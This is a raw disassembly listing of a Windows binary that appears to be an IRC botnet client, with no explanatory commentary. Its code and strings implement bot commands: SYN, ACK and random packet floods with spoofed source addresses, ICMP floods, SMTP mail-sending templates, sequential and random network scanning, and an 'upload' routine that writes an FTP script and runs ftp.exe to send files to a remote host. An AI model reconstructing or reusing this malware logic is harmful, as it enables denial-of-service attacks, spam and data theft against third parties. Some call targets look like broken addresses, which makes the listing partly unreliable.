push [ebp+arg_10]
lea eax, [ebp+var_458C]
push eax
call sub_41C890
push offset asc_42CDC0 ; " "
push offset dword_42B934
push [ebp+esi+var_7C]
call sub_41843B
push eax
lea eax, [ebp+var_408C]
push eax
call sub_41C890
add esp, 30h
lea eax, [ebp+var_528C]
push eax
push 101h
call dword_4CB944
lea eax, [ebp+var_46F0]
push eax
call dword_4CBA58
push 6
push 1
push 2
mov edi, eax
call dword_4CBA54
push [ebp+arg_18]
mov esi, eax
mov [ebp+var_31C], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp+var_318], eax
call dword_4CB9D4
mov [ebp+var_31A], ax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_408C]
push eax
lea eax, [ebp+var_458C]
push eax
lea eax, [ebp+var_438C]
push eax
lea eax, [ebp+var_568C]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_41C266
add esp, 1Ch
lea eax, [ebp+var_31C]
push 10h
push eax
push esi
call dword_4CB97C
mov edi, 100h
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
lea eax, [ebp+var_448C]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_568C]
push eax
push esi
call dword_4CBA24
push ebx
lea eax, [ebp+var_448C]
push edi
push eax
push esi
call dword_4CB9EC
push esi
call dword_4CBA6C
call dword_4CB92C
lea eax, [ebp+var_458C]
push eax
push offset unk_42AEFC
loc_406BEF: ; CODE XREF: sub_401ACD+2E3Fj
; sub_401ACD+4561j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
loc_406BFB: ; CODE XREF: sub_401ACD+2431j
add esp, 0Ch
loc_406BFE: ; CODE XREF: sub_401ACD+4485j
; sub_401ACD+6575j ...
cmp [ebp+var_8], ebx
jnz short loc_406C1F
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_406C1F: ; CODE XREF: sub_401ACD+296Fj
; sub_401ACD+29C2j ...
mov esi, [ebp+arg_24]
loc_406C22: ; CODE XREF: sub_401ACD+6814j
; sub_401ACD+773Fj ...
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
pop ecx
mov eax, esi
jmp loc_401F78
; ---------------------------------------------------------------------------
loc_406C36: ; CODE XREF: sub_401ACD+4FCCj
push [ebp+arg_8]
push offset aHttpcon ; "httpcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406C60
push [ebp+arg_8]
push offset aHcon ; "hcon"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_407208
loc_406C60: ; CODE XREF: sub_401ACD+517Aj
push [ebp+esi+var_7C]
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
call sub_41C159
pop ecx
push eax
push edi
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_88]
push [ebp+arg_4]
call sub_410ADC
jmp loc_404085
; ---------------------------------------------------------------------------
loc_406C8E: ; CODE XREF: sub_401ACD+4F9Ej
; sub_401ACD+4FB5j
mov esi, 80h
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_1358]
push eax
push offset aSyn ; "syn"
call sub_41CA50
add esp, 14h
test eax, eax
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aAck ; "ack"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
lea eax, [ebp+var_1358]
push eax
push offset aRandom_0 ; "random"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_406CF1
push offset unk_42AEB4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_406CF1: ; CODE XREF: sub_401ACD+51EAj
; sub_401ACD+5201j ...
push [ebp+arg_10]
call sub_41C159
cmp eax, ebx
pop ecx
mov [ebp+var_1250], eax
jle loc_406E1D
push edi
lea eax, [ebp+var_1358]
push esi
push eax
call sub_41C360
add esp, 0Ch
lea eax, [ebp+var_13D8]
push [ebp+arg_18]
push esi
push eax
call sub_41C360
push [ebp+arg_0]
call sub_41C159
mov [ebp+var_1254], eax
add esp, 10h
xor eax, eax
cmp [ebp+var_8EE], bl
push [ebp+var_88]
setnz al
mov [ebp+var_124C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_13DC], eax
lea eax, [ebp+var_12D8]
push esi
push eax
call sub_41C360
mov eax, [ebp+var_4]
add esp, 0Ch
cmp [ebp+var_124C], ebx
mov [ebp+var_1248], eax
mov eax, [ebp+var_8]
mov [ebp+var_1244], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_406D8E
mov eax, offset aNormal ; "Normal"
loc_406D8E: ; CODE XREF: sub_401ACD+52BAj
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push eax
push offset unk_42AE70
lea eax, [ebp+var_2C4]
push 200h
push eax
call sub_41C360
push ebx
lea eax, [ebp+var_2C4]
push 14h
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_1258], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_13DC]
push ebx
push eax
push offset byte_4149C1
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_1258]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406E0C
loc_406DF6: ; CODE XREF: sub_401ACD+533Dj
cmp [ebp+var_1240], ebx
jnz loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_406DF6
; ---------------------------------------------------------------------------
loc_406E0C: ; CODE XREF: sub_401ACD+5327j
nop
call near ptr 269086Bh
push eax
push offset unk_42AE38
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406E1D: ; CODE XREF: sub_401ACD+5235j
push offset unk_42AE00
loc_406E22: ; CODE XREF: sub_401ACD+1FBEj
; sub_401ACD+1FD4j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
pop ecx
pop ecx
jmp loc_4081AD
; ---------------------------------------------------------------------------
loc_406E35: ; CODE XREF: sub_401ACD+4F11j
; sub_401ACD+4F28j ...
cmp dword_4CBAC4, ebx
jnz loc_406F44
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_FF8], eax
mov eax, [ebp+var_4]
mov [ebp+var_FFC], eax
lea eax, [ebp+var_1090]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_1010], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_100C], eax
call sub_41C159
push 7Fh
mov [ebp+var_1008], eax
push [ebp+var_88]
lea eax, [ebp+var_1110]
push eax
call sub_41BFD0
mov eax, [ebp+arg_4]
add esp, 24h
mov [ebp+var_1114], eax
lea eax, [ebp+var_1090]
push [ebp+var_1008]
push [ebp+var_100C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_1010]
push offset unk_42ADB8
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 16h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_1000], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_1114]
push ebx
push eax
push offset dword_413E10
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_1000]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_406F33
loc_406F1D: ; CODE XREF: sub_401ACD+5464j
cmp [ebp+var_FF4], ebx
jnz loc_4081AD
push 32h
nop
call near ptr 2680EF8h
jmp short loc_406F1D
; ---------------------------------------------------------------------------
loc_406F33: ; CODE XREF: sub_401ACD+544Ej
nop
call near ptr 269086Bh
push eax
push offset unk_42AD80
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_406F44: ; CODE XREF: sub_401ACD+536Ej
push 1FFh
lea eax, [ebp+var_2C4]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_41BFD0
jmp loc_4081AA
; ---------------------------------------------------------------------------
loc_406F5F: ; CODE XREF: sub_401ACD+4EE3j
; sub_401ACD+4EFAj
push [ebp+arg_18]
lea eax, [ebp+var_2C4]
push edi
push [ebp+arg_0]
push offset unk_42AD2C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
push [ebp+arg_0]
call sub_41B9C0
push [ebp+arg_18]
mov edi, eax
call sub_41B9C0
push [ebp+arg_20]
add edi, eax
call sub_41B9C0
push [ebp+arg_8]
add edi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_10]
lea eax, [eax+edi+7]
push eax
call sub_41C2E0
add esp, 40h
mov [ebp+arg_C], eax
push [ebp+arg_0]
call sub_41C159
mov edi, [ebp+arg_20]
cmp eax, ebx
pop ecx
mov [ebp+arg_14], eax
mov [ebp+arg_1C], ebx
jle short loc_407059
loc_406FE2: ; CODE XREF: sub_401ACD+5539j
push [ebp+arg_C]
push [ebp+arg_18]
push edi
call sub_418AF1
add esp, 0Ch
cmp eax, 1
mov [ebp+arg_20], eax
jz short loc_40700A
cmp eax, ebx
jnz short loc_407029
inc [ebp+arg_1C]
mov eax, [ebp+arg_1C]
cmp eax, [ebp+arg_14]
jl short loc_406FE2
jmp short loc_407062
; ---------------------------------------------------------------------------
loc_40700A: ; CODE XREF: sub_401ACD+552Aj
push ebx
push [ebp+var_4]
push offset unk_42ACF4
loc_407013: ; CODE XREF: sub_401ACD+559Ej
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
jmp loc_407208
; ---------------------------------------------------------------------------
loc_407029: ; CODE XREF: sub_401ACD+552Ej
push [ebp+arg_20]
lea eax, [ebp+var_2C4]
push offset unk_42ACC0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407059: ; CODE XREF: sub_401ACD+5513j
cmp [ebp+arg_20], ebx
jnz loc_407208
loc_407062: ; CODE XREF: sub_401ACD+553Bj
push ebx
push [ebp+var_4]
push offset unk_42AC8C
jmp short loc_407013
; ---------------------------------------------------------------------------
loc_40706D: ; CODE XREF: sub_401ACD+4E9Ej
; sub_401ACD+4EB5j ...
mov eax, [ebp+var_8]
push 7Fh
mov [ebp+var_C68], eax
mov eax, [ebp+var_4]
loc_40707B: ; DATA XREF: ___:004330E0o
; ___:004330F4o ...
mov [ebp+var_C6C], eax
lea eax, [ebp+var_D00]
push edi
push eax
call sub_41BFD0
push [ebp+arg_18]
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_C80], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_C7C], eax
call sub_41C159
mov esi, [ebp+esi+var_7C]
add esp, 18h
cmp esi, ebx
mov [ebp+var_C78], eax
jz short loc_4070D2
push esi
call sub_41C159
pop ecx
mov [ebp+var_C74], eax
jmp short loc_4070D8
; ---------------------------------------------------------------------------
loc_4070D2: ; CODE XREF: sub_401ACD+55F4j
mov [ebp+var_C74], ebx
loc_4070D8: ; CODE XREF: sub_401ACD+5603j
push 7Fh
lea eax, [ebp+var_D80]
push [ebp+var_88]
push eax
call sub_41BFD0
add esp, 0Ch
mov esi, [ebp+arg_4]
lea eax, [ebp+var_D00]
mov [ebp+var_D84], esi
push [ebp+var_C78]
push [ebp+var_C7C]
push eax
lea eax, [ebp+var_2C4]
push [ebp+var_C80]
push offset unk_42AC44
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 17h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_C70], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_D84]
push ebx
push eax
push offset dword_413F9C
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_C70]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_40717B
loc_407169: ; CODE XREF: sub_401ACD+56ACj
cmp [ebp+var_C64], ebx
jnz short loc_407196
push 32h
call near ptr 2680EF8h
nop
jmp short loc_407169
; ---------------------------------------------------------------------------
loc_40717B: ; CODE XREF: sub_401ACD+569Aj
nop
call near ptr 269086Bh
push eax
push offset unk_42AC0C
loc_407187: ; CODE XREF: sub_401ACD+4D09j
; sub_401ACD+61E0j ...
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
loc_407196: ; CODE XREF: sub_401ACD+4CEDj
; sub_401ACD+56A2j ...
cmp [ebp+var_8], ebx
jnz loc_4082DE
push ebx
push [ebp+var_4]
loc_4071A3: ; CODE XREF: sub_401ACD+2284j
lea eax, [ebp+var_2C4]
push eax
push [ebp+var_88]
push esi
jmp loc_4081CA
; ---------------------------------------------------------------------------
loc_4071B6: ; CODE XREF: sub_401ACD+4E70j
; sub_401ACD+4E87j
push 0Bh
call sub_40B602
push [ebp+arg_18]
mov [ebp+arg_1C], eax
call sub_41C159
add eax, [ebp+arg_1C]
pop ecx
pop ecx
cmp eax, 320h
jle loc_407381
push [ebp+arg_1C]
lea eax, [ebp+var_2C4]
push offset unk_42ABD0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 20h
loc_407208: ; CODE XREF: sub_401ACD+518Dj
; sub_401ACD+5557j ...
mov esi, [ebp+esi+var_7C]
cmp esi, ebx
jz loc_401F75
push [ebp+arg_8]
push offset aUpload ; "upload"
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz loc_409644
push 4
push esi
call sub_416CAF
pop ecx
test eax, eax
pop ecx
jnz short loc_407253
push esi
push offset unk_42ABA8
loc_40723F: ; CODE XREF: sub_401ACD+711Ej
; sub_401ACD+796Bj
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
add esp, 0Ch
jmp loc_403F9D
; ---------------------------------------------------------------------------
loc_407253: ; CODE XREF: sub_401ACD+576Aj
call near ptr 26A07AFh
nop
push eax
call sub_41C2B8
pop ecx
call sub_41C2C2
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_41C2C2
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp+var_50FC]
push edx
push eax
lea eax, [ebp+var_2E5C]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_41C266
lea eax, [ebp+var_2E5C]
push offset aAb ; "ab"
push eax
call sub_41BEA2
add esp, 20h
cmp eax, ebx
mov [ebp+arg_24], eax
jz loc_401F75
push esi
push [ebp+arg_10]
push [ebp+arg_0]
push [ebp+arg_18]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_41C7E6
push [ebp+arg_24]
call sub_41BA3B
add esp, 20h
lea eax, [ebp+var_2E5C]
push eax
lea eax, [ebp+var_4CF8]
push offset aSS_1 ; "-s:%s"
push eax
call sub_41C266
add esp, 0Ch
lea eax, [ebp+var_4CF8]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call dword_4CB940
test eax, eax
push edi
push esi
jz short loc_407320
push offset unk_42AB38
jmp short loc_407325
; ---------------------------------------------------------------------------
loc_407320: ; CODE XREF: sub_401ACD+584Aj
push offset unk_42AB08
loc_407325: ; CODE XREF: sub_401ACD+5851j
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_40734E
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 14h
loc_40734E: ; CODE XREF: sub_401ACD+5863j
lea eax, [ebp+var_2C4]
push eax
call sub_415D38
loc_40735A: ; CODE XREF: sub_401ACD+58B2j
lea eax, [ebp+var_2E5C]
push 4
push eax
call sub_416CAF
add esp, 0Ch
test eax, eax
jz loc_401F75
lea eax, [ebp+var_2E5C]
push eax
call sub_41C7BC
jmp short loc_40735A
; ---------------------------------------------------------------------------
loc_407381: ; CODE XREF: sub_401ACD+5705j
push edi
call sub_41C159
push [ebp+arg_18]
mov [ebp+var_370], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_358], eax
call sub_41C159
add esp, 0Ch
cmp eax, 5
mov [ebp+var_36C], eax
jnb short loc_4073BA
push 5
pop eax
mov [ebp+var_36C], eax
loc_4073BA: ; CODE XREF: sub_401ACD+58E2j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_4073C7
mov [ebp+var_36C], ecx
loc_4073C7: ; CODE XREF: sub_401ACD+58F2j
push [ebp+arg_10]
call sub_41C159
cmp eax, 320h
pop ecx
mov [ebp+var_368], eax
jbe short loc_4073E7
mov [ebp+var_368], 320h
loc_4073E7: ; CODE XREF: sub_401ACD+590Ej
or [ebp+var_354], 0FFFFFFFFh
cmp dword_4317F8, ebx
mov [ebp+arg_1C], ebx
jz short loc_40743D
mov [ebp+arg_24], offset dword_4317F8
loc_407400: ; CODE XREF: sub_401ACD+5952j
mov eax, [ebp+arg_24]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_407423
add [ebp+arg_24], 40h
inc [ebp+arg_1C]
mov eax, [ebp+arg_24]
cmp [eax], ebx
jnz short loc_407400
jmp short loc_40743D
; ---------------------------------------------------------------------------
loc_407423: ; CODE XREF: sub_401ACD+5944j
mov eax, [ebp+arg_1C]
mov ecx, eax
mov [ebp+var_354], eax
shl ecx, 6
mov ecx, dword_4317F8[ecx]
mov [ebp+var_370], ecx
loc_40743D: ; CODE XREF: sub_401ACD+592Aj
; sub_401ACD+5954j
cmp [ebp+var_370], ebx
jnz short loc_40744F
push offset unk_42AAD4
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_40744F: ; CODE XREF: sub_401ACD+5976j
mov edi, [ebp+esi+var_7C]
cmp edi, ebx
mov [ebp+arg_0], edi
jz short loc_40748A
cmp byte ptr [edi], 23h
jz short loc_40748A
push edi
lea eax, [ebp+var_484]
push 10h
push eax
call sub_41C360
push 78h
push edi
call sub_41C990
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_344], eax
jmp loc_407564
; ---------------------------------------------------------------------------
loc_40748A: ; CODE XREF: sub_401ACD+598Bj
; sub_401ACD+5990j
cmp [ebp+var_8FF], bl
jnz short loc_4074AC
cmp [ebp+var_8FE], bl
jnz short loc_4074AC
cmp [ebp+var_8EE], bl
jnz short loc_4074AC
push offset unk_42AAA0
jmp loc_406E22
; ---------------------------------------------------------------------------
loc_4074AC: ; CODE XREF: sub_401ACD+59C3j
; sub_401ACD+59CBj ...
push 10h
lea eax, [ebp+var_2D0]
pop edi
push eax
lea eax, [ebp+var_2F8]
push eax
mov [ebp+var_2D0], edi
push [ebp+arg_4]
call dword_4CB978
mov al, [ebp+var_8FF]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp+var_2F4], eax
push [ebp+var_2F4]
call dword_4CBA60
push eax
lea eax, [ebp+var_484]
push eax
call sub_41BFD0
add esp, 0Ch
cmp [ebp+var_8EE], bl
jz short loc_40755E
xor eax, eax
cmp [ebp+var_8FF], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp+var_484]
push eax
call sub_41C820
pop ecx
cmp edi, ebx
pop ecx
mov byte ptr [ebp+arg_24+3], bl
jle short loc_407552
loc_407530: ; CODE XREF: sub_401ACD+5A83j
cmp eax, ebx
jz short loc_407552
mov byte ptr [eax], 78h
lea eax, [ebp+var_484]
push 30h
push eax
call sub_41C820
inc byte ptr [ebp+arg_24+3]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+arg_24+3]
cmp ecx, edi
jl short loc_407530
loc_407552: ; CODE XREF: sub_401ACD+5A61j
; sub_401ACD+5A65j
mov [ebp+var_344], 1
jmp short loc_407564
; ---------------------------------------------------------------------------
loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj
mov [ebp+var_344], ebx
loc_407564: ; CODE XREF: sub_401ACD+59B8j
; sub_401ACD+5A8Fj
mov eax, [ebp+arg_4]
push [ebp+var_88]
mov [ebp+var_374], eax
mov eax, [ebp+var_4]
mov [ebp+var_34C], eax
mov eax, [ebp+var_8]
mov [ebp+var_348], eax
mov edi, 80h
lea eax, [ebp+var_474]
push edi
push eax
call sub_41C360
mov esi, [ebp+esi+var_78]
add esp, 0Ch
cmp esi, ebx
jz short loc_4075B5
loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj
push esi
loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j
lea eax, [ebp+var_3F4]
push edi
push eax
call sub_41C360
add esp, 0Ch
jmp short loc_4075E0
; ---------------------------------------------------------------------------
loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_4075C4
cmp byte ptr [eax], 23h
jnz short loc_4075C4
push eax
jmp short loc_4075A3
; ---------------------------------------------------------------------------
loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj
; sub_401ACD+5AF2j
mov esi, offset aF ; "#f"
push offset byte_43DB88
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jnz short loc_4075A2
mov [ebp+var_3F4], bl
loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j
cmp [ebp+var_344], ebx
mov eax, offset aRandom ; "Random"
jnz short loc_4075F2
mov eax, offset aSequential ; "Sequential"
loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej
push [ebp+var_358]
lea ecx, [ebp+var_484]
push [ebp+var_368]
push [ebp+var_36C]
push [ebp+var_370]
push ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42AA38
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 2Ch
mov [ebp+var_364], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_484]
push ebx
push eax
push offset loc_40C600
push ebx
push ebx
nop
call near ptr 2690000h
mov ecx, [ebp+var_364]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407680
loc_40766A: ; CODE XREF: sub_401ACD+5BB1j
cmp [ebp+var_340], ebx
jnz loc_4081AD
push 32h
call near ptr 2680EF8h
nop
jmp short loc_40766A
; ---------------------------------------------------------------------------
loc_407680: ; CODE XREF: sub_401ACD+5B9Bj
call near ptr 269086Bh
nop
push eax
push offset unk_42AA00
jmp loc_408E86
; ---------------------------------------------------------------------------
loc_407691: ; CODE XREF: sub_401ACD+4E42j
; sub_401ACD+4E59j
push edi
call sub_40A8F0
push [ebp+arg_18]
mov [ebp+var_4E0], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_4F0], eax
call sub_41C159
push [ebp+arg_10]
mov [ebp+var_4EC], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_4E8], eax
lea eax, [ebp+var_570]
mov [ebp+var_574], esi
push eax
call sub_41BFD0
add esp, 1Ch
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_4D8], edi
push [ebp+var_4EC]
mov [ebp+var_4D4], eax
push [ebp+var_4F0]
push [ebp+var_4E8]
push [ebp+var_4E0]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A9B0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_4E4], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_574]
push ebx
push eax
push offset byte_40CA1D
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_4E4]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407786
loc_407770: ; CODE XREF: sub_401ACD+5CB7j
cmp [ebp+var_4D0], ebx
jnz loc_403D46
push 32h
call near ptr 2680EF8h
nop
jmp short loc_407770
; ---------------------------------------------------------------------------
loc_407786: ; CODE XREF: sub_401ACD+5CA1j
nop
call near ptr 269086Bh
push eax
push offset unk_42A974
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407797: ; CODE XREF: sub_401ACD+4E05j
; sub_401ACD+4E1Cj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
add esp, 14h
mov esi, eax
lea eax, [ebp+var_2C4]
push esi
push offset dword_42A968
push eax
call sub_41C266
add esp, 0Ch
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
lea eax, [ebp+var_2C4]
push ebx
push eax
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_2 ; "[%s] * %s %s"
jmp loc_407957
; ---------------------------------------------------------------------------
loc_407887: ; CODE XREF: sub_401ACD+4DD7j
; sub_401ACD+4DEEj
push edi
call sub_41C159
imul eax, 234h
pop ecx
cmp byte_43E928[eax], bl
jz loc_409644
cmp [ebp+var_C], ebx
jz loc_409644
push [ebp+arg_18]
call sub_41B9C0
push edi
mov esi, eax
call sub_41B9C0
push [ebp+arg_8]
add esi, eax
call sub_41B9C0
add eax, [ebp+var_C]
push [ebp+arg_0]
lea eax, [eax+esi+2]
push eax
call sub_41C2E0
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_409644
push edi
call sub_41C159
test eax, eax
pop ecx
jle loc_409644
push edi
call sub_41C159
cmp eax, 400h
pop ecx
jge loc_409644
push ebx
push ebx
push esi
push [ebp+arg_18]
push edi
call sub_41C159
imul eax, 234h
pop ecx
push dword_43E91C[eax]
call sub_409869
push edi
call sub_41C159
imul eax, 234h
add esp, 18h
cmp byte ptr dword_43E710[eax], 73h
jnz loc_409644
push esi
push edi
call sub_41C159
imul eax, 234h
pop ecx
add eax, offset byte_43E928
push eax
push [ebp+arg_18]
push offset aSSS_1 ; "[%s] <%s> %s"
loc_407957: ; CODE XREF: sub_401ACD+5DB5j
lea eax, [ebp+var_2C4]
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push [ebp+var_4]
push eax
push [ebp+var_88]
push [ebp+arg_4]
call sub_409869
add esp, 28h
jmp loc_409644
; ---------------------------------------------------------------------------
loc_407984: ; CODE XREF: sub_401ACD+4DA9j
; sub_401ACD+4DC0j
push edi
call dword_4CBA14
push [ebp+arg_18]
mov [ebp+var_680], eax
call sub_41C159
push [ebp+arg_0]
mov [ebp+var_690], eax
call sub_41C159
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_88]
mov [ebp+var_688], eax
lea eax, [ebp+var_710]
mov [ebp+var_714], esi
push eax
call sub_41BFD0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_678], edi
push [ebp+var_688]
mov [ebp+var_674], eax
push [ebp+var_690]
push [ebp+var_680]
call dword_4CBA60
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A910
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 0Bh
push eax
call sub_40B3BA
add esp, 20h
mov [ebp+var_684], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_714]
push ebx
push eax
push offset dword_40C92C
push ebx
push ebx
call near ptr 2690000h
nop
mov ecx, [ebp+var_684]
imul ecx, 234h
cmp eax, ebx
mov dword_43E924[ecx], eax
jz short loc_407A66
loc_407A50: ; CODE XREF: sub_401ACD+5F97j
cmp [ebp+var_670], ebx
jnz loc_403D46
push 32h
call near ptr 2680EF8h
nop
jmp short loc_407A50
; ---------------------------------------------------------------------------
loc_407A66: ; CODE XREF: sub_401ACD+5F81j
nop
call near ptr 269086Bh
push eax
push offset unk_42AA00
jmp loc_403D37
; ---------------------------------------------------------------------------
loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj
; sub_401ACD+4D92j
push edi
call sub_41C159
push 7Fh
mov [ebp+var_1130], eax
push [ebp+arg_18]
lea eax, [ebp+var_1234]
push eax
call sub_41BFD0
push [ebp+arg_0]
call sub_41C159
mov esi, [ebp+arg_4]
add esp, 14h
mov [ebp+var_1134], eax
lea eax, [ebp+var_11B4]
push [ebp+var_88]
mov [ebp+var_123C], esi
push 80h
push eax
call sub_41C360
mov eax, [ebp+var_8]
add esp, 0Ch
mov edi, [ebp+var_4]
mov [ebp+var_1120], eax
push [ebp+var_1134]
lea eax, [ebp+var_1234]
mov [ebp+var_1124], edi
push eax
push [ebp+var_1130]
push esi
call sub_40AA06
pop ecx
push eax
lea eax, [ebp+var_2C4]
push offset unk_42A8D4
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_2C4]
push 18h
push eax
call sub_40B3BA
add esp, 24h
mov [ebp+var_112C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_123C]
push ebx
push eax
push offset loc_410DAB
push ebx
push ebx
nop
call near ptr 2690000h
